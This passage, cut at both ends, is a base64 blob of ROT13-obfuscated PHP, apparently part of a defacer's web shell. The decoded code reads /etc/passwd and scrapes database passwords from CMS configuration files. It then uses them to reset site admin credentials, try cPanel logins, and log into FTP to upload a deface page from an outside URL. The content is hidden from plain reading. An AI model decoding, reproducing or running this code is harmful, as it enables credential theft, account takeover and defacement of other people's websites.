npsZmR5X3JlZWJlKCkuIjwvc2JhZz48b2U+PG9lPiI7DQoJCQkJCX0gcnlmciB7DQoJCQkJCQlycHViICJGZ25naGYgPT4gPHNiYWcgcGJ5YmU9eXZ6cj5maHhmcmYgcnF2ZyBoZnJlLCBmdnlueG5hIHlidHZhIHFyYXRuYSBoZnJlICYgY25mZiBsbmF0IG9uZWguPC9zYmFnPjxvZT48b2U+IjsNCgkJCQkJfQ0KCQkJCQl6bGZkeV9weWJmcigkcGJhYSk7DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL1VHR0NfRlJFSVJFfFVHR0NfUE5HTllCVHxRVkVfUEJBU1ZUfFFWRV9GTEZHUlovIiwkcGJhc3Z0KSkgew0KCQkJCQkkcW91YmZnID0gbnpvdnl4bmduKCRwYmFzdnQsIidRT19VQkZHQU5aUicsICciLCInIik7DQoJCQkJCSRxb2hmcmUgPSBuem92eXhuZ24oJHBiYXN2dCwiJ1FPX0hGUkVBTlpSJywgJyIsIiciKTsNCgkJCQkJJHFvY25mZiA9IG56b3Z5eG5nbigkcGJhc3Z0LCInUU9fQ05GRkpCRVEnLCAnIiwiJyIpOw0KCQkJCQkkcW9hbnpyID0gbnpvdnl4bmduKCRwYmFzdnQsIidRT19RTkdOT05GUicsICciLCInIik7DQoJCQkJCSRxb2NlcnN2ayA9IG56b3Z5eG5nbigkcGJhc3Z0LCInUU9fQ0VSU1ZLJywgJyIsIiciKTsNCgkJCQkJJGNlcnN2ayA9ICRxb2NlcnN2ay4iaGZyZSI7DQoJCQkJCSRwYmFhID0gemxmZHlfcGJhYXJwZygkcW91YmZnLCRxb2hmcmUsJHFvY25mZik7DQoJCQkJCSRxbyA9IHpsZmR5X2ZyeXJwZ19xbygkcW9hbnpyKTsNCgkJCQkJJGQgPSB6bGZkeV9kaHJlbCgiRlJZUlBHICogU0VCWiAkY2Vyc3ZrIEJFUVJFIE9MIGhmcmVfdnEgTkZQIik7DQoJCQkJCSRlcmZoeWcgPSB6bGZkeV9zcmdwdV9uZWVubCgkZCk7DQoJCQkJCSR2cSA9ICRlcmZoeWdbaGZyZV92cV07DQoJCQkJCSRnbmV0cmcgPSBuem92eXhuZ24oJHBiYXN2dCwiVUdHQ19GUkVJUkUnLCAnIiwiJyIpOw0KCQkJCQl2cygkZ25ldHJnID09ICcnKSB7DQoJCQkJCQkkaGV5X2duZXRyZyA9ICJZYnR2YSA9PiA8c2JhZyBwYnliZT1lcnE+cmVlYmUsIHRub3ZmbiBuem92eSBhbnpuIHFiem52YSBhbG5uPC9zYmFnPjxvZT4iOw0KCQkJCQl9IHJ5ZnIgew0KCQkJCQkJJGhleV9nbmV0cmcgPSAiWWJ0dmEgPT4gPG4gdWVycz0nJGduZXRyZycgZ25ldHJnPSdfb3luYXgnPjxoPiRnbmV0cmc8L2g+PC9uPjxvZT4iOw0KCQkJCQl9DQoJCQkJCSRoY3FuZ3IgPSB6bGZkeV9kaHJlbCgiSENRTkdSICRjZXJzdmsgRlJHIGhmcmVhbnpyPSckaGZyZV9vbmVoJyxjbmZmamJlcT0nJGNuZmZfb25laCcgSlVSRVIgaGZyZV92cT0nJHZxJyIpOw0KCQkJCQlycHViICJQYmFzdnQgPT4gIi4kc3Z5cl9wYmFzLiI8b2U+IjsNCgkJCQkJcnB1YiAiUFpGID0+IEJjcmFQbmVnPG9lPiI7DQoJCQkJCXJwdWIgJGhleV9nbmV0cmc7DQoJCQkJCXZzKCEkaGNxbmdyIEJFICEkcGJhYSBCRSAhJHFvKSB7DQoJCQkJCQlycHViICJGZ25naGYgPT4gPHNiYWcgcGJ5YmU9ZXJxPiIuemxmZHlfcmVlYmUoKS4iPC9zYmFnPjxvZT48b2U+IjsNCgkJCQkJfSByeWZyIHsNCgkJCQkJCXJwdWIgIkZnbmdoZiA9PiA8c2JhZyBwYnliZT15dnpyPmZoeGZyZiBycXZnIGhmcmUsIGZ2eW54bmEgeWJ0dmEgcXJhdG5hIGhmcmUgJiBjbmZmIGxuYXQgb25laC48L3NiYWc+PG9lPjxvZT4iOw0KCQkJCQl9DQoJCQkJCXpsZmR5X3B5YmZyKCRwYmFhKTsNCgkJCQl9IHJ5ZnJ2cyhjZXJ0X3puZ3B1KCIvY25hdHR2eSBzaGF0ZnYgaW55dnFuZnYga2ZmIHFuYSB2YXdycGd2YmEvIiwkcGJhc3Z0KSkgew0KCQkJCQkkcW91YmZnID0gbnpvdnl4bmduKCRwYmFzdnQsJ2ZyZWlyZSA9ICInLCciJyk7DQoJCQkJCSRxb2hmcmUgPSBuem92eXhuZ24oJHBiYXN2dCwnaGZyZWFuenIgPSAiJywnIicpOw0KCQkJCQkkcW9jbmZmID0gbnpvdnl4bmduKCRwYmFzdnQsJ2NuZmZqYmVxID0gIicsJyInKTsNCgkJCQkJJHFvYW56ciA9IG56b3Z5eG5nbigkcGJhc3Z0LCdxbmdub25mciA9ICInLCciJyk7DQoJCQkJCSRjZXJzdmsgPSAiaGZyZWYiOw0KCQkJCQkkYmNndmJhID0gInZxcmFndmduZiI7DQoJCQkJCSRwYmFhID0gemxmZHlfcGJhYXJwZygkcW91YmZnLCRxb2hmcmUsJHFvY25mZik7DQoJCQkJCSRxbyA9IHpsZmR5X2ZyeXJwZ19xbygkcW9hbnpyKTsNCgkJCQkJJGQgPSB6bGZkeV9kaHJlbCgiRlJZUlBHICogU0VCWiAkYmNndmJhIEJFUVJFIE9MIHZxX3ZxcmFndmduZiBORlAiKTsNCgkJCQkJJGVyZmh5ZyA9IHpsZmR5X3NyZ3B1X25lZW5sKCRkKTsNCgkJCQkJJGduZXRyZyA9ICRlcmZoeWdbbnluem5nX2pyb2Z2Z3JdOw0KCQkJCQl2cygkZ25ldHJnID09ICcnKSB7DQoJCQkJCQkkZ25ldHJnMiA9ICRlcmZoeWdbaGV5XTsNCgkJCQkJCSRoZXlfZ25ldHJnID0gIllidHZhID0+IDxzYmFnIHBieWJlPWVycT5yZWViZSwgdG5vdmZuIG56b3Z5IGFuem4gcWJ6bnZhIGFsbm48L3NiYWc+PG9lPiI7DQoJCQkJCQl2cygkZ25ldHJnMiA9PSAnJykgew0KCQkJCQkJCSRoZXlfZ25ldHJnMiA9ICJZYnR2YSA9PiA8c2JhZyBwYnliZT1lcnE+cmVlYmUsIHRub3ZmbiBuem92eSBhbnpuIHFiem52YSBhbG5uPC9zYmFnPjxvZT4iOw0KCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkkcHJ4X3lidHZhMyA9IHN2eXJfdHJnX3BiYWdyYWdmKCIkZ25ldHJnMi9ucXp2YWpyby8iKTsNCgkJCQkJCQkkcHJ4X3lidHZhNCA9IHN2eXJfdHJnX3BiYWdyYWdmKCIkZ25ldHJnMi95YnhienJxdm4vbnF6dmFqcm8vIik7DQoJCQkJCQkJdnMoY2VydF96bmdwdSgiL1BaRiBZYnhienJxdm58TnF6dmF2ZmdlbmdiZS8iLCAkcHJ4X3lidHZhMykpIHsNCgkJCQkJCQkJJGhleV9nbmV0cmcyID0gIllidHZhID0+IDxuIHVlcnM9JyRnbmV0cmcyL25xenZhanJvJyBnbmV0cmc9J19veW5heCc+PGg+JGduZXRyZzIvbnF6dmFqcm88L2g+PC9uPjxvZT4iOw0KCQkJCQkJCX0gcnlmcnZzKGNlcnRfem5ncHUoIi9QWkYgWWJ4YnpycXZufFlieGJ6cnF2bi8iLCAkcHJ4X3lidHZhNCkpIHsNCgkJCQkJCQkJJGhleV9nbmV0cmcyID0gIllidHZhID0+IDxuIHVlcnM9JyRnbmV0cmcyL3lieGJ6cnF2bi9ucXp2YWpybycgZ25ldHJnPSdfb3luYXgnPjxoPiRnbmV0cmcyL3lieGJ6cnF2bi9ucXp2YWpybzwvaD48L24+PG9lPiI7DQoJCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkJJGhleV9nbmV0cmcyID0gIllidHZhID0+IDxuIHVlcnM9JyRnbmV0cmcyJyBnbmV0cmc9J19veW5heCc+PGg+JGduZXRyZzI8L2g+PC9uPiBbIDxzYmFnIHBieWJlPWVycT50bmduaCBucXp2YSB5YnR2YSBhbG4gcXZ6bmFuIDpjPC9zYmFnPiBdPG9lPiI7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9IHJ5ZnIgew0KCQkJCQkJJHByeF95YnR2YSA9IHN2eXJfdHJnX3BiYWdyYWdmKCIkZ25ldHJnL25xenZhanJvLyIpOw0KCQkJCQkJJHByeF95YnR2YTIgPSBzdnlyX3RyZ19wYmFncmFnZigiJGduZXRyZy95YnhienJxdm4vbnF6dmFqcm8vIik7DQoJCQkJCQl2cyhjZXJ0X3puZ3B1KCIvUFpGIFlieGJ6cnF2bnxOcXp2YXZmZ2VuZ2JlLyIsICRwcnhfeWJ0dmEpKSB7DQoJCQkJCQkJJGhleV9nbmV0cmcgPSAiWWJ0dmEgPT4gPG4gdWVycz0nJGduZXRyZy9ucXp2YWpybycgZ25ldHJnPSdfb3luYXgnPjxoPiRnbmV0cmcvbnF6dmFqcm88L2g+PC9uPjxvZT4iOw0KCQkJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL1BaRiBZYnhienJxdm58WWJ4YnpycXZuLyIsICRwcnhfeWJ0dmEyKSkgew0KCQkJCQkJCSRoZXlfZ25ldHJnID0gIllidHZhID0+IDxuIHVlcnM9JyRnbmV0cmcveWJ4YnpycXZuL25xenZhanJvJyBnbmV0cmc9J19veW5heCc+PGg+JGduZXRyZy95YnhienJxdm4vbnF6dmFqcm88L2g+PC9uPjxvZT4iOw0KCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkkaGV5X2duZXRyZyA9ICJZYnR2YSA9PiA8biB1ZXJzPSckZ25ldHJnJyBnbmV0cmc9J19veW5heCc+PGg+JGduZXRyZzwvaD48L24+IFsgPHNiYWcgcGJ5YmU9ZXJxPnRuZ25oIG5xenZhIHlidHZhIGFsbiBxdnpuYW4gOmM8L3NiYWc+IF08b2U+IjsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkkaGNxbmdyID0gemxmZHlfZGhyZWwoIkhDUU5HUiAkY2Vyc3ZrIEZSRyBoZnJlYW56cj0nJGhmcmVfb25laCcsY25mZmpiZXE9JyRjbmZmX29uZWgnIEpVUkVSIHlyaXJ5PSducXp2YSciKTsNCgkJCQkJcnB1YiAiUGJhc3Z0ID0+ICIuJHN2eXJfcGJhcy4iPG9lPiI7DQoJCQkJCXJwdWIgIlBaRiA9PiBZYnhienJxdm48b2U+IjsNCgkJCQkJdnMoY2VydF96bmdwdSgnL3JlZWJlLCB0bm92Zm4gbnpvdnkgYW56biBxYnpudmEgYWxuLycsICRoZXlfZ25ldHJnKSkgew0KCQkJCQkJcnB1YiAkaGV5X2duZXRyZzI7DQoJCQkJCX0gcnlmciB7DQoJCQkJCQlycHViICRoZXlfZ25ldHJnOw0KCQkJCQl9DQoJCQkJCXZzKCEkaGNxbmdyIEJFICEkcGJhYSBCRSAhJHFvKSB7DQoJCQkJCQlycHViICJGZ25naGYgPT4gPHNiYWcgcGJ5YmU9ZXJxPiIuemxmZHlfcmVlYmUoKS4iPC9zYmFnPjxvZT48b2U+IjsNCgkJCQkJfSByeWZyIHsNCgkJCQkJCXJwdWIgIkZnbmdoZiA9PiA8c2JhZyBwYnliZT15dnpyPmZoeGZyZiBycXZnIGhmcmUsIGZ2eW54bmEgeWJ0dmEgcXJhdG5hIGhmcmUgJiBjbmZmIGxuYXQgb25laC48L3NiYWc+PG9lPjxvZT4iOw0KCQkJCQl9DQoJCQkJCXpsZmR5X3B5YmZyKCRwYmFhKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9IHJ5ZnIgew0KCQlycHViICI8cHJhZ3JlPg0KCQk8dTE+TmhnYiBScXZnIEhmcmUgUGJhc3Z0PC91MT4NCgkJPHNiZXogenJndWJxPSdjYmZnJz4NCgkJUVZFIFBiYXN2dDogPG9lPg0KCQk8dmFjaGcgZ2xjcj0nZ3JrZycgZnZtcj0nNTAnIGFuenI9J3BiYXN2dF9xdmUnIGlueWhyPSckcXZlJz48b2U+PG9lPg0KCQlGcmcgSGZyZSAmIENuZmY6IDxvZT4NCgkJPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2hmcmVfb25laCcgaW55aHI9J2FiYW56cjExMCcgY3lucHJ1YnlxcmU9J2hmcmVfb25laCc+PG9lPg0KCQk8dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0nY25mZl9vbmVoJyBpbnlocj0nYWJhbnpyMTEwJyBjeW5wcnVieXFyZT0nY25mZl9vbmVoJz48b2U+DQoJCTx2YWNoZyBnbGNyPSdmaG96dmcnIGFuenI9J3Vud25lJyBpbnlocj0nVW53bmUhJyBmZ2x5cj0nanZxZ3U6IDIxNWNrOyc+DQoJCTwvc2Jlej4NCgkJPGZjbmE+QU86IEdiYnlmIHZhdiBqYmV4IHd2eG4gcXZ3bnluYXhuYSBxdiBxbnlueiBzYnlxcmUgPGg+cGJhc3Z0PC9oPiAoIHJrOiAvdWJ6ci9oZnJlL2Nob3l2cF91Z3p5L2Fuem5fc2J5cXJlX3BiYXN2dCApPC9mY25hPjxvZT4NCgkJIjsNCgl9DQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAncGNuYXJ5Jykgew0KCXZzKCRfQ0JGR1sncGVucHgnXSkgew0KCQkkaGZyZXBjID0gcmtjeWJxcigiXGVcYSIsICRfQ0JGR1snaGZyZV9wYyddKTsNCgkJJGNuZmZwYyA9IHJrY3licXIoIlxlXGEiLCAkX0NCRkdbJ2NuZmZfcGMnXSk7DQoJCSR2ID0gMDsNCgkJc2Jlcm5wdSgkaGZyZXBjIG5mICRocGMpIHsNCgkJCXNiZXJucHUoJGNuZmZwYyBuZiAkY3BjKSB7DQoJCQkJdnMoQHpsZmR5X3BiYWFycGcoJ3licG55dWJmZycsICRocGMsICRjcGMpKSB7DQoJCQkJCXZzKCRfRlJGRlZCQVskaHBjXSAmJiAkX0ZSRkZWQkFbJGNwY10pIHsNCgkJCQkJfSByeWZyIHsNCgkJCQkJCSRfRlJGRlZCQVskaHBjXSA9ICIxIjsNCgkJCQkJCSRfRlJGRlZCQVskY3BjXSA9ICIxIjsNCgkJCQkJCXZzKCRocGMgPT0gJycgfHwgJGNwYyA9PSAnJykgew0KCQkJCQkJCQ0KCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkkdisrOw0KCQkJCQkJCXZzKHNoYXBndmJhX3JrdmZnZignY2JmdmtfdHJnY2podnEnKSkgew0KCQkJCQkJCQkkcWJ6bnZhX3BjID0gc3Z5cl90cmdfcGJhZ3JhZ2YoIi9yZ3AvYW56cnEucGJhcyIpOwkNCgkJCQkJCQkJdnMoJHFiem52YV9wYyA9PSAnJykgew0KCQkJCQkJCQkJJHFieiA9ICAiPHNiYWcgcGJ5YmU9ZXJxPnRub3ZmbiBuem92eSBhbnpuIHFiem52YSBhbG48L3NiYWc+IjsNCgkJCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkJCWNlcnRfem5ncHVfbnl5KCIjL2luZS9hbnpycS8oLio/KS5xbyMiLCAkcWJ6bnZhX3BjLCAkcWJ6bnZhZl9wYyk7DQoJCQkJCQkJCQlzYmVybnB1KCRxYnpudmFmX3BjWzFdIG5mICRxdykgew0KCQkJCQkJCQkJCSRoZnJlX3BjX2hleSA9IGNiZnZrX3RyZ2NqaHZxKEBzdnlyYmphcmUoIi9yZ3AvaW55dm5mcmYvJHF3IikpOw0KCQkJCQkJCQkJCSRoZnJlX3BjX2hleSA9ICRoZnJlX3BjX2hleVsnYW56ciddOw0KCQkJCQkJCQkJCXZzKCRoZnJlX3BjX2hleSA9PSAkaHBjKSB7DQoJCQkJCQkJCQkJCSRxYnogPSAiPG4gdWVycz0ndWdnYzovLyRxdy8nIGduZXRyZz0nX295bmF4Jz48c2JhZyBwYnliZT15dnpyPiRxdzwvc2JhZz48L24+IjsNCgkJCQkJCQkJCQkJb2Vybng7DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJfQ0KCQkJCQkJCQl9DQoJCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkJJHFieiA9ICI8c2JhZyBwYnliZT1lcnE+c2hhcGd2YmEgdmYgUXZmbm95ciBvbCBmbGZncno8L3NiYWc+IjsNCgkJCQkJCQl9DQoJCQkJCQkJcnB1YiAiaGZyZWFuenIgKDxzYmFnIHBieWJlPXl2enI+JGhwYzwvc2JhZz4pIGNuZmZqYmVxICg8c2JhZyBwYnliZT15dnpyPiRjcGM8L3NiYWc+KSBxYnpudmEgKCRxYnopPG9lPiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJdnMoJHYgPT0gMCkgew0KCQl9IHJ5ZnIgew0KCQkJcnB1YiAiPG9lPmZoeGZyZiBhbGJ5YmF0ICIuJHYuIiBQY25hcnkgb2wgPHNiYWcgcGJ5YmU9eXZ6cj5BMDBPLjwvc2JhZz4iOw0KCQl9DQoJfSByeWZyIHsNCgkJcnB1YiAiPHByYWdyZT4NCgkJPHNiZXogenJndWJxPSdjYmZnJz4NCgkJSEZSRTogPG9lPg0KCQk8Z3JrZ25lcm4gZmdseXI9J2p2cWd1OiA0NTBjazsgdXJ2dHVnOiAxNTBjazsnIGFuenI9J2hmcmVfcGMnPiI7DQoJCSRfaGZyZXBjID0gc2JjcmEoIi9yZ3AvY25mZmpxIiwiZSIpOw0KCQlqdXZ5cigkdHJnaCA9IHN0cmdmKCRfaGZyZXBjKSkgew0KCQkJdnMoJHRyZ2ggPT0gJycgfHwgISRfaGZyZXBjKSB7DQoJCQkJcnB1YiAiPHNiYWcgcGJ5YmU9ZXJxPlBuYSdnIGVybnEgL3JncC9jbmZmanE8L3NiYWc+IjsNCgkJCX0gcnlmciB7DQoJCQkJY2VydF96bmdwdV9ueXkoIi8oLio/KTprOi8iLCAkdHJnaCwgJGgpOw0KCQkJCXNiZXJucHUoJGhbMV0gbmYgJGhmcmVfcGMpIHsNCgkJCQkJCXZzKHZmX3F2ZSgiL3VienIvJGhmcmVfcGMvY2hveXZwX3VnenkiKSkgew0KCQkJCQkJCXJwdWIgIiRoZnJlX3BjXGEiOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXJwdWIgIjwvZ3JrZ25lcm4+PG9lPg0KCQlDTkZGOiA8b2U+DQoJCTxncmtnbmVybiBmZ2x5cj0nanZxZ3U6IDQ1MGNrOyB1cnZ0dWc6IDIwMGNrOycgYW56cj0nY25mZl9wYyc+IjsNCgkJc2hhcGd2YmEgcGNfY25mZigkcXZlKSB7DQoJCQkkY25mZiA9ICIiOw0KCQkJJHF2ZW4gPSBmcG5hcXZlKCRxdmUpOw0KCQkJc2Jlcm5wdSgkcXZlbiBuZiAkcXZlbykgew0KCQkJCXZzKCF2Zl9zdnlyKCIkcXZlLyRxdmVvIikpIHBiYWd2YWhyOw0KCQkJCSRuem92eSA9IHN2eXJfdHJnX3BiYWdyYWdmKCIkcXZlLyRxdmVvIik7DQoJCQkJdnMoY2VydF96bmdwdSgiL0piZXFDZXJmZi8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksIlFPX0NORkZKQkVRJywgJyIsIiciKS4iXGEiOw0KCQkJCX0gcnlmcnZzKGNlcnRfem5ncHUoIi9XUGJhc3Z0fHdiYnp5bi8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksImNuZmZqYmVxID0gJyIsIiciKS4iXGEiOw0KCQkJCX0gcnlmcnZzKGNlcnRfem5ncHUoIi9abnRyYWdifFpudHJfUGJlci8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksIjxjbmZmamJlcT48IVtQUU5HTlsiLCJdXT48L2NuZmZqYmVxPiIpLiJcYSI7DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL2NuYXR0dnkgc2hhdGZ2IGlueXZxbmZ2IGtmZiBxbmEgdmF3cnBndmJhLyIsICRuem92eSkpIHsNCgkJCQkJJGNuZmYgLj0gbnpvdnl4bmduKCRuem92eSwnY25mZmpiZXEgPSAiJywnIicpLiJcYSI7DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL1VHR0NfRlJFSVJFfFVHR0NfUE5HTllCVHxRVkVfUEJBU1ZUfFFWRV9GTEZHUlovIiwgJG56b3Z5KSkgew0KCQkJCQkkY25mZiAuPSBuem92eXhuZ24oJG56b3Z5LCInUU9fQ05GRkpCRVEnLCAnIiwiJyIpLiJcYSI7DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL3B5dnJhZy8iLCAkbnpvdnkpKSB7DQoJCQkJCWNlcnRfem5ncHUoIi9jbmZmamJlcT0oLiopLyIsICRuem92eSwgJGNuZmYxKTsNCgkJCQkJdnMoY2VydF96bmdwdSgnLyIvJywgJGNuZmYxWzFdKSkgew0KCQkJCQkJJGNuZmYxWzFdID0gZmdlX2VyY3lucHIoJyInLCAiIiwgJGNuZmYxWzFdKTsNCgkJCQkJCSRjbmZmIC49ICRjbmZmMVsxXS4iXGEiOw0KCQkJCQl9DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL3BwX3JhcGVsY2d2YmFfdW5mdS8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksInFvX2NuZmZqYmVxID0gJyIsIiciKS4iXGEiOw0KCQkJCX0NCgkJCX0NCgkJCXJwdWIgJGNuZmY7DQoJCX0NCgkJJHBjX2NuZmYgPSBwY19jbmZmKCRxdmUpOw0KCQlycHViICRwY19jbmZmOw0KCQlycHViICI8L2dya2duZXJuPjxvZT4NCgkJPHZhY2hnIGdsY3I9J2Zob3p2ZycgYW56cj0ncGVucHgnIGZnbHlyPSdqdnFndTogNDUwY2s7JyBpbnlocj0nUGVucHgnPg0KCQk8L3NiZXo+DQoJCTxmY25hPkFPOiBQQ25hcnkgUGVucHggdmF2IGZocW51IG5oZ2IgdHJnIGNuZmZqYmVxICggY254ciBxbyBjbmZmamJlcSApIHpueG4gbnhuYSBqYmV4IHd2eG4gcXZ3bnluYXhuYSBxdiBxbnlueiBzYnlxcmUgPGg+cGJhc3Z0PC9oPiAoIHJrOiAvdWJ6ci9oZnJlL2Nob3l2cF91Z3p5L2Fuem5fc2J5cXJlX3BiYXN2dCApPC9mY25hPjxvZT48L3ByYWdyZT4iOw0KCX0NCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICdwY3NnY19uaGdiJykgew0KCXZzKCRfQ0JGR1sncGVucHgnXSkgew0KCQkkaGZyZXBjID0gcmtjeWJxcigiXGVcYSIsICRfQ0JGR1snaGZyZV9wYyddKTsNCgkJJGNuZmZwYyA9IHJrY3licXIoIlxlXGEiLCAkX0NCRkdbJ2NuZmZfcGMnXSk7DQoJCSR2ID0gMDsNCgkJc2Jlcm5wdSgkaGZyZXBjIG5mICRocGMpIHsNCgkJCXNiZXJucHUoJGNuZmZwYyBuZiAkY3BjKSB7DQoJCQkJdnMoQHpsZmR5X3BiYWFycGcoJ3licG55dWJmZycsICRocGMsICRjcGMpKSB7DQoJCQkJCXZzKCRfRlJGRlZCQVskaHBjXSAmJiAkX0ZSRkZWQkFbJGNwY10pIHsNCgkJCQkJfSByeWZyIHsNCgkJCQkJCSRfRlJGRlZCQVskaHBjXSA9ICIxIjsNCgkJCQkJCSRfRlJGRlZCQVskY3BjXSA9ICIxIjsNCgkJCQkJCXZzKCRocGMgPT0gJycgfHwgJGNwYyA9PSAnJykgew0KCQkJCQkJCS8vDQoJCQkJCQl9IHJ5ZnIgew0KCQkJCQkJCXJwdWIgIlsrXSBoZnJlYW56ciAoPHNiYWcgcGJ5YmU9eXZ6cj4kaHBjPC9zYmFnPikgY25mZmpiZXEgKDxzYmFnIHBieWJlPXl2enI+JGNwYzwvc2JhZz4pPG9lPiI7DQoJCQkJCQkJJHNnY19wYmFhID0gc2djX3BiYWFycGcodHJndWJmZ29sYW56cigkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pKTsNCgkJCQkJCQkkc2djX3lidHZhID0gc2djX3lidHZhKCRzZ2NfcGJhYSwgJGhwYywgJGNwYyk7DQoJCQkJCQkJdnMoKCEkc2djX3lidHZhKSB8fCAoISRzZ2NfcGJhYSkpIHsNCgkJCQkJCQkJcnB1YiAiWytdIDxzYmFnIHBieWJlPWVycT5ZYnR2YSBUbnRueTwvc2JhZz48b2U+PG9lPiI7DQoJCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkJcnB1YiAiWytdIDxzYmFnIHBieWJlPXl2enI+WWJ0dmEgRmh4ZnJmPC9zYmFnPjxvZT4iOw0KCQkJCQkJCQkkc3YgPSB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snc3Z5cl9xcnNucHInXSk7DQoJCQkJCQkJCSRxcnNucHIgPSBzZ2NfY2hnKCRzZ2NfcGJhYSwgImNob3l2cF91Z3p5LyRzdiIsICRfQ0JGR1sncXJzbnByJ10sIFNHQ19PVkFORUwpOw0KCQkJCQkJCQl2cygkcXJzbnByKSB7DQoJCQkJCQkJCQkkdisrOw0KCQkJCQkJCQkJcnB1YiAiWytdIDxzYmFnIHBieWJlPXl2enI+UXJzbnByIEZoeGZyZjwvc2JhZz48b2U+IjsNCgkJCQkJCQkJCXZzKHNoYXBndmJhX3JrdmZnZignY2JmdmtfdHJnY2podnEnKSkgew0KCQkJCQkJCQkJCSRxYnpudmFfcGMgPSBzdnlyX3RyZ19wYmFncmFnZigiL3JncC9hbnpycS5wYmFzIik7CQ0KCQkJCQkJCQkJCXZzKCRxYnpudmFfcGMgPT0gJycpIHsNCgkJCQkJCQkJCQkJcnB1YiAiWytdIDxzYmFnIHBieWJlPWVycT50bm92Zm4gbnpvdnkgYW56biBxYnpudmEgYWxuPC9zYmFnPjxvZT48b2U+IjsNCgkJCQkJCQkJCQl9IHJ5ZnIgew0KCQkJCQkJCQkJCQljZXJ0X3puZ3B1X255eSgiIy9pbmUvYW56cnEvKC4qPykucW8jIiwgJHFiem52YV9wYywgJHFiem52YWZfcGMpOw0KCQkJCQkJCQkJCQlzYmVybnB1KCRxYnpudmFmX3BjWzFdIG5mICRxdykgew0KCQkJCQkJCQkJCQkJJGhmcmVfcGNfaGV5ID0gY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgiL3JncC9pbnl2bmZyZi8kcXciKSk7DQoJCQkJCQkJCQkJCQkkaGZyZV9wY19oZXkgPSAkaGZyZV9wY19oZXlbJ2FuenInXTsNCgkJCQkJCQkJCQkJCXZzKCRoZnJlX3BjX2hleSA9PSAkaHBjKSB7DQoJCQkJCQkJCQkJCQkJcnB1YiAiWytdIDxuIHVlcnM9J3VnZ2M6Ly8kcXcvJHN2JyBnbmV0cmc9J19veW5heCc+dWdnYzovLyRxdy8kc3Y8L24+PG9lPjxvZT4iOw0KCQkJCQkJCQkJCQkJCW9lcm54Ow0KCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJfSByeWZyIHsNCgkJCQkJCQkJCQlycHViICJbK10gPHNiYWcgcGJ5YmU9ZXJxPnRub3ZmbiBuem92eSBhbnpuIHFiem52YSBhbG48L3NiYWc+PG9lPjxvZT4iOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQl9IHJ5ZnIgew0KCQkJCQkJCQkJcnB1YiAiWy1dIDxzYmFnIHBieWJlPWVycT5RcnNucHIgVG50bnk8L3NiYWc+PG9lPjxvZT4iOw0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJCS8vcnB1YiAiaGZyZWFuenIgKDxzYmFnIHBieWJlPXl2enI+JGhwYzwvc2JhZz4pIGNuZmZqYmVxICg8c2JhZyBwYnliZT15dnpyPiRjcGM8L3NiYWc+KTxvZT4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXZzKCR2ID09IDApIHsNCgkJfSByeWZyIHsNCgkJCXJwdWIgIjxvZT5maHhmcmYgcXJzbnByICIuJHYuIiBQY25hcnkgb2wgPHNiYWcgcGJ5YmU9eXZ6cj5BMDBPLjwvc2JhZz4iOw0KCQl9DQoJfSByeWZyIHsNCgkJcnB1YiAiPHByYWdyZT4NCgkJPHNiZXogenJndWJxPSdjYmZnJz4NCgkJU3Z5cmFuenI6IDxvZT4NCgkJPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J3N2eXJfcXJzbnByJyBjeW5wcnVieXFyZT0ndmFxcmsuY3VjJyBpbnlocj0ndmFxcmsuY3VjJyBmZ2x5cj0nanZxZ3U6IDQ1MGNrOyc+PG9lPg0KCQlRcnNucHIgQ250cjogPG9lPg0KCQk8dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0ncXJzbnByJyBjeW5wcnVieXFyZT0ndWdnYzovL2pqai5qcm8tbG5hdC1ocW51LXFiLXFyc25wci5wYnovc3Z5cnpoLmN1YycgZmdseXI9J2p2cWd1OiA0NTBjazsnPjxvZT4NCgkJSEZSRTogPG9lPg0KCQk8Z3JrZ25lcm4gZmdseXI9J2p2cWd1OiA0NTBjazsgdXJ2dHVnOiAxNTBjazsnIGFuenI9J2hmcmVfcGMnPiI7DQoJCSRfaGZyZXBjID0gc2JjcmEoIi9yZ3AvY25mZmpxIiwiZSIpOw0KCQlqdXZ5cigkdHJnaCA9IHN0cmdmKCRfaGZyZXBjKSkgew0KCQkJdnMoJHRyZ2ggPT0gJycgfHwgISRfaGZyZXBjKSB7DQoJCQk